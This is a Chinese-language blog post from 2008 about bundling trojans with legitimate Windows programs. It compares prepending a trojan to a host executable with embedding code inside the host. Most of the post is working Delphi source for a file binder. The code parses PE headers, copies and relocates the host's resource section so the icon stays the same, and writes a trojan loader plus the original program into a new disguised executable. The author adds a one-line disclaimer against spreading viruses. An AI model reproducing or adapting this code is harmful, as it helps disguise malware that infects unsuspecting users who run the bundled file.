用户操作
[即时聊天] [发私信] [加为好友]
KevinsID:iiprogram
1236957次访问,排名19,好友1人,关注者81人。
残云收夏暑,新雨带秋岚!
本站开始提供相关安全服务和软件项目合作计划,有意者请联系hacker@yiii.net
iiprogram的文章
原创 1502 篇
翻译 0 篇
转载 1238 篇
评论 354 篇
Kevins的公告
    留言


自2005年07月20日

本站开始提供相关安全服务和软件项目合作计划
有意者请联系hacker@yiii.net


天氣預報


最近评论
DoraemonsTeddybear:好啊,学习中,那个文件不能下载啊.....
PK8995:=.=这个东东不是我发在0GINR上的么……汗
唉,我帮你补个原文链接吧
http://www.0ginr.com/bbs/viewthread.php?tid=1164&extra=page%3D3
zswolf2000:哥们,你的WRK怎么得到的,我在微软网站上看到必须要在校学生才可以,并且要出示证明。
gxyiye@suho.com:厉害呀 可不可以帮我找回QQ号呀 先谢了 QQ15811744 密保BU CHI
ZeroChou:__imp_wcslen , 我之前犯过同样的错误.
文章分类
收藏
相册
1
test
美女
*NUX技术
delphij
hitbsecconf2005
knoppix-std
linux admin
linuxsir
LWN.net
最爱chinaunix
毛德操blog
HOT SITES
cnbeta
et8论坛
eyeos 中文
ntdebugging
rootkit
taiwan.cnet
techeblog
web代理
三联生活周刊
中国传统节日
中日文翻译
五行字
国学网
汉典
深度
看雪学院
驱动开发网
编程技术和代码下载
80x86 Opcodes
awarenetwork
bo2k-plugins
borland update site
C++/C电子书籍
c++builder 研究
chinaaspx文档
code source
codecomments
codeguru
codegurus
codeproject
coffee个人
cprogramming
crack-warez
CrackZ's Reverse Engineering
csdn
csdnbbs文档简易
dd调试技巧代码
debugman
delphi盒子
dephi goo site
diybl
Doron Holan's Blog: Kernel-Mode Drivers
driverdevelop
driverdevsite
electronicstalk_driver
EliCZ
ext2fsd
Flier's Sky
FWB
icode
itconsult_vc
jiurl系统研究
kernel resource
kernel source
kernel-mode development link
krugle.com
LCC
lookcode
mad hook api
mfc
Michael Howard's Web Log
ms_srv protocol
msdn magazine
network code
newhua_deve
ntkernel.com
osronline
pcvc
planet-source-code
putty code
reactos
RECON
reverse-engineering
samba,cifs,smb
shadowgo 个人blog
smartphone开发
sockaddr.com
Source Code Search Engine
tty64
tutorialdownloads
txakynetwork(driver,firewall)
undocumented.ntinternals
uty oldblog(driver&kernel)
vbs脚本
vccode
VCFORGE
vchelp
vckbase
vc-qq
vczx
vc原动力
vc原动力
vc在线
wasm.ru
webcrazyjp
Windows network services internals
世纪站长
中国站长源码
免费ie代理1
免费代理2
拼搏
操作系统开发研究
服务器开发技术
源代码
源代码下载2
电子书
编程网摘
藏鲸阁
豆豆源码
個人輔站
another blog?
个人blog-3
人气第一的台湾小美女
個人blog
個人技術輔2
资料blog
软件工具下载
0DAY 下载
0DAY-ART
chinaitpwo资料
flash下载
icwin资料
infoxa
MYEBOOK.CN
openvpn
scitech.susx
soft8
source520
tooooold_searcj
torrentreactor.net
VCBOOK
x-force
xpbook
卡饭
文学ebook
核心编程
水电
源码天空
绿色下载
计算机与信息技术杂志
超好电子书籍站
酷客tool
酷客tool
非凡绿色下载
高校教材
硬件系统
hri.sourceforge.net
juniper mannel
资讯安全国内站
艾克索夫實驗室
0GINR
0ginr
0ginr论坛
51tiger.com安全
5eCur!ty Labs
5iliby
6code
77169
aloner
Alter's home page
antiprotect
astalavista
axis#ph4nt0m BLOG
ayarei/
bigpack
bluehack
c.i.s.r.t
chinafe
CISRT
cncert
cto技术圈-ddos
cvcvxk
darkshell
debugman
debugman_wintools
dm-0day
dummy24
enet安全
eva
FCG
flowercode
FreeWin
friend-hsy
greatdong
h31home
H4x0r's Blog
hackee
heifou team
http://hi.baidu.com/yuange1975
huaidan's blog
icylife
inkings
insigma
internet worm
isip.cn
Juniper-bbs
kendivblog
KIJS
lenmo
loveshell
loveshell
luoluo
LYSOFT
lzx
majun 's blog
micropoint
mj0011
n4ry
NCPh
ne365-virus
neeao's blog
neeao's millow exp
Nethackonline 网络黑客在线
nop
nosec.org
open-bug
open-bug
PANTAO
raystyle
redhyphone union
regeliu
regshot
roncha
sebug
sometips
sudami
sysadmin.cn
System Repair Engineer安全检测
System Repair Engineer安全检测
T4NK's blog
team509
techtarget中文
TINK'S BLOG
unpack
unpackcn
uuty
vfocus
vxk
vxk大侠
Windows PowerShell及微软脚本
windowssky
wy的blog
xizi1023 blog
xwind
yiming 管理
yunshu-blog
ZUOJIE
zwell
一蓑烟雨
东来blog
中国x黑客小组
中国信息安全研究小组(CISRG)
中国信息安全组织
中国协议分析网
中国安全信息网-企业安全方案
从c开始
冷漠blog
刘涛涛blog
华夏同盟bbs
南域剑盟
危特网安
大牛蛙
安 翼 网 络
安全中国(RSS)
安全警戒
幻影
当下放下
影子鹰安全
微点blog
成都黑客在线
攻防blog
木马帝国
武汉黑客联盟
源码网
溢出专题study
白细胞
立华软件园安全防线
第八个男人
网安俱乐部
网络安全日志
艾克索夫實驗室.
补天
邪恶八进制
邪恶八进制
邪恶的hackza镜像
邪恶的oldexp
陆麟的主页
飞花堂
鬼仔blog
黑客百宝箱
資訊安全国外站
(kernel,virus code)
0DAY
158apps
62nds virus source
62nds-virus-code
advdbg.com
alexfedoto
allife(RSS)
Alter.Org.UA
anticode(RSS)
ANTIrootkit
antirootkit
ANYSIDE-EXP
anyside-exploit
arteam
astalavista.com
auscert
bifrost
bjwever
Black Hats Manual Software Security Auditing, Cracking,
blackcode.com(RSS)
blackhat mirror
blacksecurity
blogs.borland
bluemicro.digibase
bugtraq
bugtraq2
cert.org
cgisecurity
chasenet.org-birfost
codebreakers-journal
community.reverse-engineering
Computer Forensics
computerterrorism
cool linux hack tool site
crackserver
CrackZ's Reverse Engineering
CVC电脑病毒
dark it sec
defcon
determina
dkcs security
DOXARA
eeye_0day_tra
eggheadcafe
elicz
elitehackers
elitehaven
European Hacker Conference
EVA的回收站
Evilcry
Expcode
exploit-1
exploitdatabase
foro.elhacke
Fortinet Security Research Team(RSS)
fredeyk
freexploit
freon-security
frsirt(RSS)
f-secure.weblog
Full Disclosure
full-disclosure
full-disclosure
gmc9
gmer
governmentsecurity(RSS)
h4cky0u
hackcoza
hackerscenter(RSS)
hackersclub
hackersplayground
hackwire(RSS)
haking.pl
he4dev
heapoverflow(RSS)
hexview
hick.org
hitbsecconf
hi-tech.nsys
hsc.fr(RSS)
icst.org.tw(RSS)
igniteds
infosecdaily
infosecwriters
infosyssec
insecure.org
internals
invisiblethings
jav.ch(RSS)
jeffrey.vanderstad
kd-team
l33tsecurity
labs.idefense
lcamtuf.coredump
malware analyze & reverse engineering
Mark Russinovich blog(cool)
markrussinovich
MC AV-Test site
Memory Forensic
metasploit-SHELLCODE(RSS)
microsoft安全(RSS)
milw0rm-shellcode(RSS)
MSDN杂志
msuiche
mtaulty(RSS)
mwcollect
nessus
nessus_plugin
net-security
net-security
network-file-explorers
networksecurityarchive(cool)
neworder.box.sk
neworder.box.sk
ngssoftware(RSS)
nirsoft
niscc.gov.uk(RSS)
NIST
nmd-labs
nnove-exploits
northsecuritylabs
noxusfiles
ntbugtraq
ntcore
nteam.ru
ntsecurity
Obsidis
offensivecomputing
offensivecomputing
omcd
only4gurus
Open Source Vulnerability Database
opennet.ru-exp
openrce(RSS)
openrce
openrce-articles
opensc
open-security
opferman
osvdb
packetstorm(RSS)
phenoelit.de
progenic
pulltheplug
PWDUMP6
Raymond Chen(msdn)
RECON
remoteassessment-exploit-file
remote-exploit
Reverse Compilation Techniques
reverse engineering team
ring 0 debugger
rootkit.com
rootkitunhooker(unreal)
ruder.cdut
RUS-CERT
s0ftpj.org
sabre-security
sabre-security
sec-consult(RSS)
seclist-fulldisclosure
secunia.com
secunia.com
secureworks
secureworks
securiteam
security.ittoolbox
security.nnov.ru
security.org.sg-code
securityarchitects
security-briefings
securitycatalyst(RSS)
securitydot-exploit
securityfocus(RSS)
securityforest
securitylab.ru
security-protocols(RSS)
securityreasonExploitAlert
securitysearch.net
securitytracker
sensepost
spywareinfo
Stanford's stinson
SUCK-O
sweRAT
SWI BLOG
sysinternals forum
taosecurity
taosecurity.blogspot(cool)
techmeme
techmeme.
tenablesecurity
THC(RSS)
thc.org
The 20 Most Critical Internet Security Vulnerabilities
the Month of Kernel Bugs
The Open Source Vulnerability Database
theaimsgroup bug
thebugs.ws
thenetworksecurity
tibbar(RSS)
tibbar
tippingpoint
topix-tech
triviasecurity
undergroundnews(RSS)
undocumented
undocumented.ntinternals
uninformed
uninformed
uninformed
uninformed.org
US-CERT
virustotal detect
vuln-search
VX Heavens
wd-3(RSS)
websense
WebSense Security Labs
whitehat
wilderssecurity
Win NT, Win 2000, and Win XP Security Tips
Windows network services internals
windowsecurity(RSS)
WOODMANN
woodmann.com
xatrix.org
xzziroz
yorn security
ZDNET_security
zdnet's security
zero day (RSS)
zone-h
zone-h.
反汇编引擎distorm
最新被黑站点
查询windows不明进程
汇编引擎yasm
经典phrack(RSS)
经典ussrback(RSS)
存档
订阅我的博客
XML聚合  FeedSky

原创 文件捆绑感染(一)收藏

新一篇: 推荐新的HIPS software | 旧一篇: 签入式捆绑

 【摘要】
最近在研究病毒木马程序的感染和捆绑方式。
发现文件困绑有多种方式 我只和大家探讨两种方式 一种是附加的方式,一种是内嵌式 
第一种方式 就是将木马程序附加在别的程序头部 也就是说 运行的目标程序是木马
然后木马程序将原程序解压出来再运行 听说熊猫烧香的程序用的就是这种方法
这种方式有缺点也有优点
优点是: 
 可以捆绑任何程序
缺点是: 
 运行时需要把目标程序给拷贝出来然后 然后再运行真正的程序 这种方法容易使人察觉出来被捆绑,并且如果目标程序大的话运行速度会比较慢
实现方法:(Demo下载
如果不改变图标,实现方法是非常简单的。
用文件流的方式 把目标程序写在木马程序后面 
这里提供修改图标的实现方法,就是替换目标程序里的所有资源,如果资源文件被压缩,捆绑将出错
(目前网络上有很多获取图标的方法,比如用ExtractIcon获取目标程序中的图标 这种方法读取出来的图标
和原程序的图标是有差别的。 就是颜色会浅一点, 让人一看就知道程序可能被捆绑过了)
请勿用于病毒传播,这里只贴出核心代码

【全文】

 

function Align(Size, AlignBase: integer): Integer;
begin
 if Size mod AlignBase <> 0 then
  Result := (Trunc(Size / AlignBase) + 1) * AlignBase
 else
  Result := Size;
end;

procedure GetRsrcStream(AFHandle: THandle; var AStream: PStream;var ASectionHeader: TImageSectionHeader);
var
  I:integer;
  DosHeader: TImageDosHeader;
  NTHeader: TImageNtHeaders; {NtHeader}
  dRead: DWORD;
begin
   SetFilePointer(AFHandle, 0, nil, FILE_BEGIN);
   ReadFile(AFHandle, DosHeader, SizeOf(TImageDosHeader), dRead, nil);
    //非PE 退出
   if not DosHeader.e_magic = IMAGE_DOS_SIGNATURE then Exit;
   SetFilePointer(AFHandle, DosHeader._lfanew, nil, FILE_BEGIN);
   ReadFile(AFHandle, NTHeader, SizeOf(TImageNTHeaders), dRead, nil);
    //非PE 退出
   if NTHeader.Signature <> IMAGE_NT_SIGNATURE then Exit;

   SetFilePointer(AFHandle, DosHeader._lfanew+SizeOf(TImageNtHeaders), nil, FILE_BEGIN);
   for i := 0 to NTHeader.FileHeader.NumberOfSections - 1 do
   begin
     ReadFile(AFHandle, ASectionHeader, SizeOf(TImageSectionHeader), dRead, nil);
     if ASectionHeader.VirtualAddress = NTHeader.OptionalHeader.DataDirectory[2].VirtualAddress then
     begin
       SetFilePointer(AFHandle, ASectionHeader.PointerToRawData, nil, FILE_BEGIN);
       SetLength(AStream, ASectionHeader.SizeOfRawData);
       ReadFile(AFHandle, AStream[0], ASectionHeader.SizeOfRawData, dRead, nil);
       Exit;
     end;
   end;

end;

function StripHighBit(L: Longint): DWORD;
begin
  Result := L and $7FFFFFFF;
end;

function HighBitSet(L: Longint): Boolean;
begin
  Result := (L and $80000000) <> 0;
end;

function IsDirectory(ResourceDirectoryEntry:PImageResourceDirectoryEntry; BaseEntry: DWORD): boolean;
begin
  Result := HighBitSet(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +
            BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData);
end;

function ResourceDataEntry(ResourceDirectoryEntry:PImageResourceDirectoryEntry; BaseEntry: DWORD):PImageResourceDataEntry;
begin
  Result := PImageResourceDataEntry(PImageResourceDirectoryEntry(StripHighBit(ResourceDirectoryEntry^.OffsetToData) +
             BaseEntry + SizeOf(TImageResourceDirectory))^.OffsetToData + BaseEntry);
end;

function FixRsrc(ResourceDirectory:PImageResourceDirectory; BaseEntry,OldVA, NewVA: DWORD):boolean;
var
  I: Integer;
  ResourceDirectoryEntry:PImageResourceDirectoryEntry;
  Data: PImageResourceDataEntry;    
begin
  Result := True;
  ResourceDirectoryEntry := PImageResourceDirectoryEntry(DWORD(ResourceDirectory)
                            + SizeOf(TImageResourceDirectory));
  for I := 0 to ResourceDirectory^.NumberOfIdEntries + ResourceDirectory^.NumberOfNamedEntries - 1 do
  begin
      if IsDirectory(ResourceDirectoryEntry, BaseEntry) then
      begin
       {目录递归调用,把下级的资源列出来}
        FixRsrc(PImageResourceDirectory(StripHighBit(
                ResourceDirectoryEntry^.OffsetToData)+ BaseEntry),
                BaseEntry, OldVA, NewVA);
      end
      else
      begin
        {资源}
        Data := ResourceDataEntry(ResourceDirectoryEntry, BaseEntry);
        //修正RVA
        Data^.OffsetToData := Data^.OffsetToData - OldVA + NewVA; 
      end;
      inc(ResourceDirectoryEntry);
  end;
end;

function InfectOneFile(ASrcFileName,ADesFileName,ANewFileName: string): string;
var  
  F,F1,F2: THandle;
  dRead: DWORD;
  fsDes, fsSrc, len, i, lastPos, oldSize: integer;
  pRsrc,LoadStream: PStream;
  DosHeader: PImageDosHeader;
  NTHeader: PImageNtHeaders; {NtHeader}
  pSH,pSectionHeader: PImageSectionHeader;
  SectionHeader: TImageSectionHeader;
  Section: PSections;
  fectStream : TResourceStream;
begin
  Result := '';
  pRsrc := nil;
  //打开需要感染的目标文件 
  F := CreateFile(PChar(ADesFileName), GENERIC_READ , FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
  try
    if F = INVALID_HANDLE_VALUE then
    begin
      Result := '打开目标文件失败!';
      Exit;
    end;     
    //获取目标程序的资源文件
    GetRsrcStream(F, pRsrc, SectionHeader);
    //如果没有资源文件则退出
    if pRsrc = nil then
    begin
      Result := '读取目标文件资源失败!';
      Exit;
    end;

    //读取附加程序流
    fectStream := TResourceStream.Create(HInstance,'exe','exetype');
    try
      fsSrc := fectStream.Size;
      SetLength(LoadStream, fectStream.Size);
      fectStream.ReadBuffer(LoadStream[0], fectStream.Size);
    finally
      fectStream.Free;
    end;

   DosHeader := PImageDosHeader(LoadStream);
   NTHeader := PImageNTHeaders(@LoadStream[DosHEader^._lfanew]);
   pSectionHeader := PImageSectionHeader(NTHeader); //指向NtHeader
   Inc(PImageNtHeaders(pSectionHeader)); //指针向前移Sizeof(TImageNtheaders),这时指向节表第一项
   for I := 0 to NTHeader^.FileHeader.NumberOfSections - 1 do
   begin
     //比较是否是指定的节名,如“.rsrc”
     if Strlicomp(@pSectionHeader^.Name, PChar('.rsrc'), IMAGE_SIZEOF_SHORT_NAME) = 0 then
     begin
       oldSize := pSectionHeader^.SizeOfRawData;
       //修正资源大小
       pSectionHeader^.SizeOfRawData := SectionHeader.SizeOfRawData;
       pSectionHeader^.Misc := SectionHeader.Misc;  
       break; //找到了,则退出
     end;
     Inc(pSectionHeader); //取节表下一项,即当前地址加上Sizeof(TImageSectionHeader)
   end; 
    //修复资源
   if not FixRsrc(PImageResourceDirectory(pRsrc), DWORD(pRsrc),
                   SectionHeader.VirtualAddress,
                   pSectionHeader^.VirtualAddress) then Exit;    

   NTHeader^.OptionalHeader.DataDirectory[2].Size :=  SectionHeader.Misc.VirtualSize;
   NTHeader^.OptionalHeader.SizeOfImage :=
      + Align(pSectionHeader^.Misc.VirtualSize + pSectionHeader^.VirtualAddress, NTHeader^.OptionalHeader.SectionAlignment);

    F1 := CreateFile(PChar(ANewFileName), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, 0, 0);
    try
      if F1 = INVALID_HANDLE_VALUE then
      begin
        Result := '创建新文件失败!';
        Exit;
      end;
      F2 := CreateFile(PChar(ASrcFileName), GENERIC_READ , FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
      try
        if F2 = INVALID_HANDLE_VALUE then
        begin
          Result := '读取目标文件失败!';
          Exit;
        end;

        fsDes := GetFileSize(F, nil);
        Section := PSections(@LoadStream[$70]);
        Section^.GUID := $58585858;
        Section^.FirstOffset := fsSrc + (SectionHeader.SizeOfRawData - oldSize);
        fsSrc := GetFileSize(F2, nil);
        Section^.FirstSize := fsSrc;
        Section^.LastOffset :=  Section^.FirstOffset + fsSrc;
        Section^.LastSize := fsDes;
        //写入头部文件
        WriteFile(F1, LoadStream[0], pSectionHeader^.PointerToRawData, dRead, nil);
        WriteFile(F1, pRsrc[0], Length(pRsrc), dRead, nil);
        repeat
          ReadFile(F2, LoadStream[0], Length(LoadStream),dRead, nil);
          WriteFile(F1, LoadStream[0], dRead, dRead, nil);
        until dRead = 0;
        SetFilePointer(F, 0, nil, FILE_BEGIN);
        repeat
          ReadFile(F, LoadStream[0], Length(LoadStream),dRead, nil);
          WriteFile(F1, LoadStream[0], dRead, dRead, nil);
        until dRead = 0;
      finally
        CloseHandle(F2);
      end;
    finally
      CloseHandle(F1);
    end;
  finally
    CloseHandle(F);
    SetLength(LoadStream, 0);
    SetLength(pRsrc, 0);
  end;

end;


第二程度方式 就是将代码内嵌到目标程序。
也同样有缺点优点
优点是
 首先运行的是目标程序。然后再运行木马程序,让人根本无法察觉
缺点是
 只能感染部分程序

发表于 @ 2008年08月20日 08:47:00|评论(loading...)|收藏

新一篇: 推荐新的HIPS software | 旧一篇: 签入式捆绑

评论:没有评论。

发表评论  


登录
Csdn Blog version 3.1a
Copyright © Kevins